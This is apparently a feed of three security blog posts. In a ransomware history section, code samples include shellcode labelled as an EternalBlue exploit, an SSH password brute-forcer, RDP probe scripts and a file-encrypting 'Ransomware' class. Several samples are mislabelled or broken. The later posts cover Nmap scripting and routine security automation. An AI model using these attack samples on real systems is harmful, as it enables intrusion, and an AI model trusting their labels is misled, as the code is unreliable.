&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--8t8DnQSo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/2000/1%2ApV0hR-TsKg-jijiJtisuvA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--8t8DnQSo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/2000/1%2ApV0hR-TsKg-jijiJtisuvA.png" width="600" height="453"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In 2017, the WannaCry ransomware spread rapidly across the globe, infecting hundreds of thousands of computers in over 150 countries. WannaCry exploited a vulnerability in the Windows operating system called EternalBlue, which was allegedly &lt;a href="https://www.npr.org/sections/thetwo-way/2017/05/15/528439968/wannacry-ransomware-microsoft-calls-out-nsa-for-stockpiling-vulnerabilities" rel="noopener noreferrer"&gt;developed by the NSA&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The widespread nature of the attack and the critical systems affected underscored the need for organizations to prioritize cybersecurity and maintain up-to-date software and security protocols to prevent such attacks..&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Code Sample:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import socket

# EternalBlue exploit code
exploit = (
    b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x10\x5b\x53\x4b\x8b\x58\x18"
    b"\x8b\x53\x20\x01\xda\x51\x52\x8b\x52\x3c\x01\xda\x8b\x72\x78\x01"
    b"\xde\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01"
    b"\xc7\x49\x75\xef\x52\x57\x8b\x52\x20\x01\xda\x53\x8b\x34\x9a\x01"
    b"\xde\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03"
    b"\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xda\x66\x8b\x0c"
    b"\x4b\x8b\x58\x1c\x01\xda\x8b\x04\x8b\x01\xda\x89\x44\x24\x24\x5b"
    b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff"
    b"\xff\x5d\x6a\x01\x8d\x45\x68\x50\x68\x8e\x4e\x0e\xec\xff\xd5\x97"
    b"\x68\x8f\x0e\x4e\xec\x89\xe3\x6a\x10\x53\x57\x68\xde\xf8\x24\x75"
    b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x8b\x36\x8b\x55\xfc"
    b"\x8b\x46\x0c\x8b\x7e\x1c\x8b\x4e\x08\x8b\x7e\x20\x8b\x36\x66\x39"
    b"\x4f\x18\x75\xf2\x66\x81\x39\x44\x44\x75\xe6\x5e\x56\x53\x2c\x24"
    b"\x0f\xba\x2c\x17\x42\x52\x6a\x01\x52\xff\xd0\x68\x63\x6d\x64\x00"
    b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\xff\xd5\x97\x6a\x0a\x5f"
    b"\xc3"
)

# IP address and port of vulnerable machine
target_ip = "192.168.1.100"
target_port = 445

# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))

# Send exploit code
sock.send(exploit)

# Close the socket
sock.close()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This snippet creates a TCP socket and connects to the target machine’s IP address and port. It then sends the WannaCry exploit code to the target machine over the socket connection.&lt;/p&gt;

&lt;p&gt;It’s important to remember that this code, like any other sample in this article, is purely for educational purposes and should not be used for any malicious activities.&lt;/p&gt;

&lt;h2&gt;
  
  
  2018: SamSam
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--73sHO4sI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/3148/1%2A053RiQynuZCl1-JJWiMkfA.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--73sHO4sI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/3148/1%2A053RiQynuZCl1-JJWiMkfA.jpeg" width="800" height="409"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;SamSam was a ransomware that was first identified in 2018. Unlike many other ransomware attacks that use phishing emails to gain access to victims’ systems, SamSam used &lt;a href="https://www.csoonline.com/article/3291617/samsam-infected-thousands-of-labcorp-systems-via-brute-force-rdp.html" rel="noopener noreferrer"&gt;brute force&lt;/a&gt; to gain access to unpatched servers. Once inside, the ransomware encrypted files and demanded payment in Bitcoin.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Code Sample:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import paramiko
import time

target_server = "example.com"
username = "admin"
passwords = ["password1", "password2", "password3", "password4", "password5"]
port = 22

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

for password in passwords:
    try:
        ssh.connect(target_server, port=port, username=username, password=password)
        print(f"Successfully logged in to {target_server} with username {username} and password {password}.")
        # Do malicious activities here
        ssh.close()
        break
    except paramiko.AuthenticationException:
        print(f"Failed to log in to {target_server} with username {username} and password {password}.")
        time.sleep(1)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The exploit attempts to connect to a remote server via SSH using a list of potential passwords for the specified username. If the connection is successful, the attacker is then able to perform malicious activities on the server using SamSam.&lt;/p&gt;

&lt;h2&gt;
  
  
  2019: Ryuk
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--b3zYE322--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/2000/1%2AcWjkYMEY_S3e6428iHL10A.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--b3zYE322--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/2000/1%2AcWjkYMEY_S3e6428iHL10A.png" width="600" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ryuk was believed to have &lt;a href="https://www.forbes.com/sites/thomasbrewster/2019/02/20/mistaken-for-north-koreans-the-ryuk-ransomware-hackers-are-making-millions/?sh=7b5c691e75f4" rel="noopener noreferrer"&gt;originated in North Korea&lt;/a&gt; and had been used to target high-value targets such as hospitals and government agencies. This turned out to be false and was originally used by numerous different criminal organisations. Ryuk is typically delivered through phishing emails or by exploiting vulnerabilities in remote desktop protocols.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Code Sample:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import socket

RDP_PORT = 3389

def exploit_rdp_vulnerability(target_ip):
    # Establish a connection to the target RDP server
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    try:
        s.connect((target_ip, RDP_PORT))
    except:
        print(f"Connection failed to {target_ip}:{RDP_PORT}")
        return

    # Send a malicious RDP message to trigger the vulnerability
    # In a real attack, this would contain the ransomware payload
    # In this safe example, I will just print the message for demonstration purposes
    message = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00"
    s.sendall(message)

    # Receive the server's response and print it for demonstration purposes
    response = s.recv(1024)
    print(response.decode())

    # Close the connection
    s.close()

# Example usage
exploit_rdp_vulnerability('192.168.1.100')
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The exploit connects to the target RDP server and sends a malicious RDP message that exploits a vulnerability in the protocol. In a real attack, this message would contain the Ryuk ransomware payload. However, in this example, the purpose is to just print the response received from the server for demonstration purposes. It’s important to note that exploiting vulnerabilities in RDP is illegal, and proper guidance should be taken to do so ethically.&lt;/p&gt;

&lt;h2&gt;
  
  
  2019: Maze
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--qIH5BAnJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/2000/1%2A1al9cya9S4TiJkwlBTs4pg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--qIH5BAnJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/2000/1%2A1al9cya9S4TiJkwlBTs4pg.png" width="800" height="743"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Maze encrypts the victim’s files and demands payment in exchange for the decryption key. However, Maze ransomware also has a reputation for stealing sensitive data from victims and threatening to publish it if the ransom is not paid, making it a type of “&lt;a href="https://www.zscaler.com/resources/security-terms-glossary/what-is-double-extortion-ransomware" rel="noopener noreferrer"&gt;double extortion&lt;/a&gt;” ransomware.&lt;/p&gt;

&lt;p&gt;Maze ransomware has been known to exploit vulnerabilities in remote desktop protocols (RDPs) to gain access to systems, along with typical phishing emails.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Code Sample:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import socket

HOST = '192.168.1.100'
PORT = 3389

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

data = s.recv(1024)
print(data)

# Send RDP negotiation packet
negotiation_packet = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x00\x00'
s.sendall(negotiation_packet)

data = s.recv(1024)
print(data)

# Send RDP connection request packet
connection_request_packet = b'\x03\x00\x00\x2c\x0e\xd0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x03\xeb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
s.sendall(connection_request_packet)

data = s.recv(1024)
print(data)

# Send RDP security packet with no credentials
security_packet = b'\x03\x00\x00\x08\x02\xf0\x80'
s.sendall(security_packet)

data = s.recv(1024)
print(data)

# Send RDP negotiate security packet
negotiate_security_packet = b'\x03\x00\x00\x0c\x02\xf0\x80\x00\x01\x00\x08'
s.sendall(negotiate_security_packet)

data = s.recv(1024)
print(data)

s.close()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;As you can see, an attacker could establish a connection with an RDP server by sending various RDP packets, including a negotiation packet, a connection request packet, a security packet, and a negotiation security packet. By exploiting vulnerabilities in RDPs in this way, an attacker could potentially gain access to a victim’s system and deploy Maze ransomware to encrypt their files and steal sensitive data.&lt;/p&gt;

&lt;h2&gt;
  
  
  2021: REvil
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--MesNaeh1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/2000/1%2A6ard55B1pyxCmaIhBLjxJg.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--MesNaeh1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/2000/1%2A6ard55B1pyxCmaIhBLjxJg.jpeg" width="800" height="484"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;One of the most notable ransomware attacks in recent years was the REvil ransomware attack in July 2021. The attack targeted a software provider called Kaseya, which provides remote management software to other companies. The attackers were able to gain access to Kaseya’s software and distribute malware to hundreds of their clients, resulting in a widespread ransomware attack.&lt;/p&gt;

&lt;p&gt;REvil uses strong encryption to encrypt the victim’s files and demands a ransom payment in exchange for the decryption key. Like most ransomware groups of this era, bitcoin is used as a method of payment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Code Sample:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import os
import random
import string
from Crypto.Cipher import AES

class Ransomware:
    def __init__(self, key):
        self.key = key

    def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
        if not out_filename:
            out_filename = in_filename + '.enc'

        iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
        encryptor = AES.new(self.key, AES.MODE_CBC, iv)

        filesize = os.path.getsize(in_filename)

        with open(in_filename, 'rb') as infile:
            with open(out_filename, 'wb') as outfile:
                outfile.write(struct.pack('&amp;lt;Q', filesize))
                outfile.write(iv)

                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    elif len(chunk) % 16 != 0:
                        chunk += b' ' * (16 - len(chunk) % 16)

                    outfile.write(encryptor.encrypt(chunk))

    def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
        if not out_filename:
            out_filename = os.path.splitext(in_filename)[0]

        with open(in_filename, 'rb') as infile:
            orig_size = struct.unpack('&amp;lt;Q', infile.read(struct.calcsize('Q')))[0]
            iv = infile.read(16)
            decryptor = AES.new(self.key, AES.MODE_CBC, iv)

            with open(out_filename, 'wb') as outfile:
                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    outfile.write(decryptor.decrypt(chunk))

                outfile.truncate(orig_size)

# Usage example
key = b'secret_key_1234'
r = Ransomware(key)
r.encrypt_file('important_file.docx')
r.decrypt_file('important_file.docx.enc')
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This demonstrates a basic implementation of ransomware using the AES encryption algorithm in CBC mode. The class Ransomware takes a symmetric key as an argument, which is used to initialise the class. The encrypt_file method takes an input file, generates a random initialization vector, and uses the key and initialization vector to encrypt the file in chunks, padding as necessary. The decrypt_file method reverses this process, reading in the encrypted file, extracting the initialization vector, and decrypting the file chunk by chunk.&lt;/p&gt;

&lt;p&gt;In the usage example, a key is defined, and an instance of the Ransomware class is created using this key. The encrypt_file method is called on a file called 'important_file.docx', which creates an encrypted file called 'important_file.docx.enc'. Finally, the decrypt_file method is called on the encrypted file to decrypt it back to its original form.&lt;/p&gt;

&lt;p&gt;I hope that this article gives some much-needed perspective of how ransomware has evolved and how it is &lt;strong&gt;our biggest threat&lt;/strong&gt; due to the ease of deployment and instant monetisation of illegal activity. However, it must be remembered the strides in recent years to expose and educate the general public on these matters.&lt;/p&gt;

</description>
      <category>ransomware</category>
      <category>cybersecurity</category>
      <category>python</category>
      <category>scripting</category>
    </item>
    <item>
      <title>Improve Nmap Performance with These Brilliant Scripts</title>
      <dc:creator>William Baptist</dc:creator>
      <pubDate>Tue, 09 May 2023 23:28:44 +0000</pubDate>
      <link>https://dev.to/baptistsec/improve-nmap-performance-with-these-brilliant-scripts-2kc0</link>
      <guid>https://dev.to/baptistsec/improve-nmap-performance-with-these-brilliant-scripts-2kc0</guid>
      <description>&lt;p&gt;In this article, I will show you how to fix &lt;a href="https://nmap.org/docs.html" rel="noopener noreferrer"&gt;Nmap&lt;/a&gt; performance issues using Python scripts. By the end of this article, you will have a better understanding of how Nmap works and how you can use Python to extend its capabilities.&lt;/p&gt;

&lt;h2&gt;
  
  
  Identifying Performance Bottlenecks in Nmap
&lt;/h2&gt;

&lt;p&gt;Before you start fixing Nmap performance issues, you need to identify the bottlenecks in the scanning process. I know firsthand what bottlenecks are, as I once tried to run an Nmap scan on a very slow computer. Let’s just say I had plenty of time to eat lunch.&lt;/p&gt;

&lt;p&gt;To identify the bottlenecks in Nmap, you need to understand how it performs each of these techniques. You can use the “-d” flag to increase the debug level of Nmap and see what is happening under the hood.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For example, if you want to see what Nmap is doing when it performs a TCP port scan, you can use the following command:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -d -p 1-65535 &amp;lt;target&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This will run an Nmap scan with debug output enabled for TCP port scanning. Look at the output and see where Nmap is spending most of its time.&lt;/p&gt;

&lt;p&gt;Another useful tool for identifying performance bottlenecks in Nmap is &lt;a href="https://www.wireshark.org/docs/" rel="noopener noreferrer"&gt;Wireshark&lt;/a&gt;. By capturing the network traffic generated by Nmap, you can see which packets are being sent and received and how long it takes for Nmap to get a response.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F3008%2F1%2ANjjhyVHgnqtiuVB0FuCvag.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F3008%2F1%2ANjjhyVHgnqtiuVB0FuCvag.png" alt="Wireshark Terminal"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Optimising Nmap Performance with Python
&lt;/h2&gt;

&lt;p&gt;Now that you’ve identified the performance bottlenecks in Nmap, start optimising its performance using Python. There are several ways to do this, including:&lt;/p&gt;

&lt;p&gt;One of the most effective ways to speed up Nmap scans is to parallelize them. Nmap supports parallel scanning using the “-Pn” flag, which tells Nmap to skip host discovery and assume that all hosts are up. You can use this flag in conjunction with Python’s multiprocessing library to run multiple Nmap scans in parallel.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here’s an example Python script that uses multiprocessing to run Nmap scans in parallel:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import multiprocessing
import subprocess

def nmap_scan(ip):
    command = "nmap -Pn " + ip
    subprocess.call(command, shell=True)

if __name__ == '__main__':
    ips = ['192.168.1.1', '192.168.1.2', '192.168.1.3']
    with multiprocessing.Pool(processes=3) as pool:
        pool.map(nmap_scan, ips)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This script will run Nmap scans for three IP addresses in parallel, using three processes. You can adjust the number of processes based on the number of cores on your machine.&lt;/p&gt;

&lt;p&gt;Additionally, you can further improve the performance of our script by limiting the number of ports scanned. By default, Nmap scans all 65,535 ports, but in most cases, you only need to scan a subset of those ports.&lt;/p&gt;

&lt;p&gt;To limit the number of ports scanned, you can use the “-p” flag in Nmap and specify a range of ports to scan. For example, if you only want to scan the top 1000 ports, you can use the flag “-p 1–1000”.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here’s an updated version of the script:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import nmap
import multiprocessing

def nmap_scan(ip):
    nm = nmap.PortScanner()
    nm.scan(ip, arguments='-sS -p 1-1000')
    print(nm.csv())

if __name__ == '__main__':
    ips = ['192.168.1.1', '192.168.1.2', '192.168.1.3']
    processes = []
    for ip in ips:
        p = multiprocessing.Process(target=nmap_scan, args=(ip,))
        processes.append(p)
        p.start()

    for p in processes:
        p.join()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;By limiting the number of ports scanned, you can reduce the amount of time it takes for Nmap to complete the scan, resulting in faster overall performance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Now that error handling and argument parsing are added, the script now looks like this:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import argparse
import nmap
import multiprocessing

def nmap_scan(ip):
    try:
        nm = nmap.PortScanner()
        nm.scan(ip, arguments='-sS -p 1-1000')
        print(nm.csv())
    except nmap.PortScannerError as e:
        print(f"Error while scanning {ip}: {e}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--ips', nargs='+', required=True, help='List of IP addresses to scan')
    parser.add_argument('--processes', type=int, default=multiprocessing.cpu_count(), help='Number of processes to use')
    args = parser.parse_args()

    processes = []
    for ip in args.ips:
        p = multiprocessing.Process(target=nmap_scan, args=(ip,))
        processes.append(p)
        p.start()

    for p in processes:
        p.join()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Then pass the IP addresses to scan as command-line arguments when running the script, like this:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python nmap_scan.py --ips 192.168.1.1 192.168.1.2 192.168.1.3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Finally, by implementing the use of &lt;a href="https://docs.python.org/3/library/asyncio.html" rel="noopener noreferrer"&gt;asyncio&lt;/a&gt;, running multiple scans simultaneously without the need for multiple processes is possible, which can significantly improve the efficiency of our code:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import argparse
import nmap
import asyncio

async def nmap_scan(ip):
    try:
        nm = nmap.PortScanner()
        nm.scan(ip, arguments='-sS -p 1-1000')
        print(nm.csv())
    except nmap.PortScannerError as e:
        print(f"Error while scanning {ip}: {e}")

async def run_scans(ips):
    tasks = [asyncio.create_task(nmap_scan(ip)) for ip in ips]
    await asyncio.gather(*tasks)

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--ips', nargs='+', required=True, help='List of IP addresses to scan')
    args = parser.parse_args()

    asyncio.run(run_scans(args.ips))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;In this code, you define the nmap_scan function as an asynchronous function using the async keyword. Then you define a new function, run_scans, which creates a list of tasks for each IP address and runs them asynchronously using the asyncio.gather() method.&lt;/p&gt;

&lt;p&gt;Finally, you call the run_scans function using asyncio.run(), which runs the function in an event loop and returns the results.&lt;/p&gt;

&lt;p&gt;To conclude, you’ve explored how to use Python to improve the efficiency of Nmap scans by implementing multiprocessing and error handling techniques. With these improvements, you can drastically reduce the time it takes to scan multiple IP addresses and ensure that you don’t miss any potential vulnerabilities. I hope that I showcased how useful Python is as a Cybersecurity Professional.&lt;/p&gt;

</description>
      <category>nmap</category>
      <category>cybersecurity</category>
      <category>python</category>
      <category>scripts</category>
    </item>
    <item>
      <title>5 Cybersecurity Tasks You Should Automate</title>
      <dc:creator>William Baptist</dc:creator>
      <pubDate>Tue, 09 May 2023 23:24:55 +0000</pubDate>
      <link>https://dev.to/baptistsec/5-cybersecurity-tasks-you-should-automate-3enj</link>
      <guid>https://dev.to/baptistsec/5-cybersecurity-tasks-you-should-automate-3enj</guid>
      <description>&lt;p&gt;In this article, I’ll share 5 tasks that you can automate to save time, reduce errors, and improve overall security. So buckle up and get ready to streamline your workload with some cutting-edge automation techniques!&lt;/p&gt;

&lt;p&gt;I will provide an overview of what it entails while showing you python code that you are free to change for your own needs.&lt;/p&gt;

&lt;h2&gt;
  
  
  (1) Scanning for vulnerabilities
&lt;/h2&gt;

&lt;p&gt;Some people say vulnerability scanning is like trying to find a needle in a haystack. It’s more like trying to find a needle in a stack of needles. Luckily, with automation, you can let the computer do the searching for you.&lt;/p&gt;

&lt;p&gt;To automate vulnerability scanning, I wrote a script that will perform the scans automatically. I used Nmap to demonstrate how this can be done.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First, install the Nmap library for Python using pip:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install python-nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Next, use the following code to scan a target IP address:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import nmap
# Create a new instance of the Nmap scanner
scanner = nmap.PortScanner()
# Define the target IP address
target = "192.168.1.1"
# Run a basic scan of the target
scanner.scan(target, arguments="-sV")
# Print the results of the scan
print(scanner.scaninfo())
print(scanner.all_hosts())
print(scanner[target].all_protocols())
print(scanner[target]['tcp'].keys())
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This code will scan the target IP address and print the results of the scan to the console. You can modify the arguments parameter to specify the type of scan you want to run (e.g. a SYN scan or a UDP scan).&lt;/p&gt;

&lt;h2&gt;
  
  
  (2) Analyzing network traffic
&lt;/h2&gt;

&lt;p&gt;Network traffic analysis can be a complex process, but Python can help automate some of the more time-consuming aspects. One popular library for analyzing network traffic is Scapy. This library allows you to capture and analyze network packets in real-time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;To use Scapy, first install it using pip:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install scapy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;This code automatically captures and analyzes network packets:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from scapy.all import *
# Define a function to handle incoming packets
def handle_packet(packet):
    # Print the packet summary to the console
    print(packet.summary())
# Start capturing packets on the network interface
sniff(prn=handle_packet, filter="tcp port 80")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This code will capture packets on the specified network interface and print a summary of each packet to the console. You can modify the filter parameter to capture packets on different ports or protocols.&lt;/p&gt;

&lt;h2&gt;
  
  
  (3) Searching for indicators of compromise (IOCs)
&lt;/h2&gt;

&lt;p&gt;Trying to keep up with the latest threats is like trying to drink from a firehose — there’s always more coming at you (unless you live in Flint, Michigan). But with automation, you can at least make sure you’re not drowning in the process.&lt;/p&gt;

&lt;p&gt;To automate IOC searching, I wrote a script that will search for known IOCs automatically. One popular library for this task is PyMISP, which allows you to interact with the MISP threat intelligence sharing platform.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Install PyMISP using pip:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install pymisp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Use the following code to search for IOCs in the MISP database:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from pymisp import PyMISP, MISPEvent
# Define the MISP URL and API key
url = "https://misp.example.co.uk"
key = "YOUR_API_KEY"
# Create a new instance of the PyMISP client
misp = PyMISP(url, key)
# Search for IOCs related to a specific domain name
events = misp.search('attributes:domain = "williambaptist.co.uk"')
# Print the results of the search
for event in events:
    misp_event = MISPEvent()
    misp_event.load(event)
    print(misp_event.to_json())
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;You can now automatically search the MISP database for IOCs related to the specified domain name and print the results to the console. You can modify the search parameter to look for IOCs related to different types of data.&lt;/p&gt;

&lt;h2&gt;
  
  
  (4) Monitoring system logs
&lt;/h2&gt;

&lt;p&gt;System logs can contain valuable information about system activity, including potential security breaches. Did you know that some cybersecurity analysts can read logs like they’re reading a novel? Well don’t look at me. However, as we know in reality, manually monitoring logs can be time-consuming and tedious.&lt;/p&gt;

&lt;p&gt;To automate log monitoring, I used Python logging library to capture log data from different sources and analyze it in real-time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Configure the logging library:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import logging
# Create a new logger instance
logger = logging.getLogger("application")
# Configure the logger to write logs to a file
handler = logging.FileHandler("application.log")
logger.addHandler(handler)
# Set the log level to INFO
logger.setLevel(logging.INFO)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This code will create a new logger instance and configure it to write logs to a file. You can modify the file path and log level to meet your specific needs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Next, use the following code to capture log data and analyze it in real-time:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import tailer
# Define a function to handle incoming log data
def handle_log(line):
    # Analyze the log data for potential security breaches
    if "login failed" in line:
        logger.warning("Failed login attempt: %s", line)
# Start monitoring the system log file
log_file = "/var/log/auth.log"
for line in tailer.follow(open(log_file)):
    handle_log(line)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This code will monitor the specified log file for new data and analyze it for potential security breaches. You can modify the handle_log function to look for different types of log data.&lt;/p&gt;

&lt;h2&gt;
  
  
  (5) Conducting phishing simulations
&lt;/h2&gt;

&lt;p&gt;We can finish with a fun way (don’t tell Facebook, Google, et al.) to test your system by using phishing simulations that are less time-consuming and easier to manage.&lt;/p&gt;

